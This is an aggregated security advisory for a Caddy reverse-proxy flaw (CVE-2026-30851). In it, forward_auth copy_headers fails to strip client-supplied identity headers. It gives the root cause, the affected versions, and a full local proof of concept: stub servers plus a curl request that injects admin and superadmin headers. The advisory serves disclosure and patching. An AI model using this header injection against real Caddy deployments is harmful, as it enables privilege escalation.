github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy
Affected
- introduced
2.10.0, fixed2.11.2(semver)
Fixed versions
2.11.2
Fix
- Fixed version
2.11.2go get github.com/caddyserver/caddy/v2/modules/caddyhttp/[email protected]
Advisory
Also known as: CVE-2026-30851, GO-2026-4639
Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation
Summary
Caddy's forward_auth directive with copy_headers generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.
When an auth service returns 200 OK without one of the configured copy_headers headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.
This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.
---
Scope Argument
This is a bug in the source code of this repository, not a misconfiguration.
The operator uses forward_auth with copy_headers exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copy_headers entries must also be stripped manually. The forward_auth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copy_headers.
The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.
The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.
---
Affected Versions
| Version | Vulnerable |
|---|---|
| <= v2.9.x | No (old code overwrote client value with empty placeholder) |
| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |
| v2.10.1 | Yes |
| v2.10.2 | Yes |
| v2.11.0 | Yes |
| v2.11.1 (February 23, 2026, current) | Yes — unpatched |
Package: github.com/caddyserver/caddy/v2
Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
---
Root Cause
The parseCaddyfile function builds one route per copy_headers entry. Each route uses a MatchNot guard and a Set operation:
// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)
copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
MatcherSetsRaw: []caddy.ModuleMap{{
"not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{
"vars": h.JSON(caddyhttp.VarsMatcher{
"{" + placeholderName + "}": []string{""},
}),
}}}),
}},
HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(
handler, "handler", "headers", nil,
)},
})
The route runs only when {http.reverse_proxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.
There is no Delete operation anywhere in this function.
---
Minimal Reproduction Config
Caddyfile (no redactions, as required):
{
admin off
auto_https off
debug
}
:8080 {
forward_auth 127.0.0.1:9091 {
uri /
copy_headers X-User-Id X-User-Role
}
reverse_proxy 127.0.0.1:9092
}
---
Reproduction Steps
No containers, VMs, or external services are used. All services run as local processes.
Step 1 — Start the auth service
Save as auth.py and run python3 auth.py in a terminal:
# auth.py
# Accepts any Bearer token, returns 200 OK with NO identity headers.
# Represents a stateless JWT validator that checks signature only.
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
auth = self.headers.get('Authorization', '')
code = 200 if auth.startswith('Bearer ') else 401
self.send_response(code)
self.end_headers()
sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9091), H).serve_forever()
Step 2 — Start the backend
Save as backend.py and run python3 backend.py in a second terminal:
# backend.py
# Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
data = {
'X-User-Id': self.headers.get('X-User-Id', '(absent)'),
'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
}
body = json.dumps(data, indent=2).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
sys.stdout.write(f'[backend] saw: {data}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9092), H).serve_forever()
Step 3 — Start Caddy
caddy run --config Caddyfile --adapter caddyfile
Step 4 — Run the three test cases
Test A: No token — must be blocked (confirms auth is enforced)
curl -v http://127.0.0.1:8080/
Expected: HTTP/1.1 401
---
Test B: Valid token, no injected headers (baseline)
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123"
Expected backend response:
{
"X-User-Id": "(absent)",
"X-User-Role": "(absent)"
}
---
Test C: ATTACK — valid token plus injected identity headers
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123" \
-H "X-User-Id: admin" \
-H "X-User-Role: superadmin"
Actual backend response (demonstrates the vulnerability):
{
"X-User-Id": "admin",
"X-User-Role": "superadmin"
}
The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.
Test C is the proof of the vulnerability.
The attack requires only a valid (non-privileged) token. No admin account is needed.
---
Full Debug Log
Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:
DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"}
DEBUG http.handlers.reverse_proxy upstream responded {"status": 200}
DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"}High Basis: The source's own band: HIGH
2.10.0, fixed 2.11.2 (semver)2.11.2
2.11.2go get github.com/caddyserver/caddy/v2/modules/caddyhttp/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0